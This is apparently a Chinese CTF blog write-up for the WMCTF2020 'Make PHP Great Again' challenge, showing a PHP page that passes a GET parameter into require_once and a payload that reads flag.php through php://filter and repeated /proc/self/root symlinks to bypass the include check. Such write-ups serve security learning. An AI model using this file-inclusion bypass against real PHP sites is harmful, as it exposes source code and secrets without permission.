代码编织梦想

进入页面后给出一段代码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

 这里有一个require_once函数之前没有见过

  • require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
    equire_once() 为了避免重复加载文件.

简单来说这里上面已经使用过文件包含了,所以我们必须想办法绕过require_once的验证,从而实现再次包含文件flag.php

这里给出的解释很详细require_once 绕过不能重复包含文件的限制
在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
直接构造payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_46263951/article/details/119545605

WMCTF2020-爱代码爱编程

web web_checkin 源码 <?php //PHP 7.0.33 Apache/2.4.25 error_reporting(0); $sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); highl

CTFSHOW 红包题第二弹-爱代码爱编程

直接上题目 <?php if(isset($_GET['cmd'])){ $cmd=$_GET['cmd']; highlight_file(__FILE__); if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

BUUCTF:[GKCTF2020]CheckIN-爱代码爱编程

先看一下题目给的代码 <title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function

3webdogs Day2 第一题:[WMCTF2020]Make PHP Great Again-爱代码爱编程

考点 require_once 绕过不能重复包含文件的限制利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含题目代码 <?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET[

-----已搬运-------Linux的/proc/self/学习 ++ CTF例题-爱代码爱编程

目录: /proc目录1.cmdline2.wd3.exe4.environ5.fd ,比较重要~~6.self1.获取当前启动进程的完成命令:2.获取目标当前进程的运行目录与目录里的文件:3.获得当前进程的可执行文件的完整路径:4.获取当前环境变量5.获取当前进程打开的文件内容例题:No.1 [网鼎杯 2020 白虎组]PicDownNo.2 [

-------已搬运--------BUUCTF:WMCTF2020]Make PHP Great Again --文件包含 --- require_once php7.4 的trick-爱代码爱编程

一、自己做: 代码简单, <?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; } 用filter读取,能够读取到file=../../../../../etc/pass

BUUCTF--[极客大挑战 2020]Greatphp-爱代码爱编程

进入页面后可以看到给出的代码 <?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) &

BUUCTF--[WMCTF2020]Make PHP Great Again 2.0-爱代码爱编程

进入页面给出代码 <?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; } 这里有个require_once()函数需要了解一下,如果require_once包含过一次f

buu-[WMCTF2020]Make PHP Great Again-爱代码爱编程

考点: 绕过require_once() 打开环境就是源码 <?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; } 第一反应是去百度绕过require_once(),毕

php特性<2>--ctfshow-爱代码爱编程

文章目录 1.sha1的绕过web104,1062.php变量覆盖web1053.parse_str的绕过web1074.ereg %00正则截断web1085.php异常类web1096.FilesystemIterator类的使用web1107.GLOBALS超全局变量web1118.php伪协议WEB1129./proc/self/root绕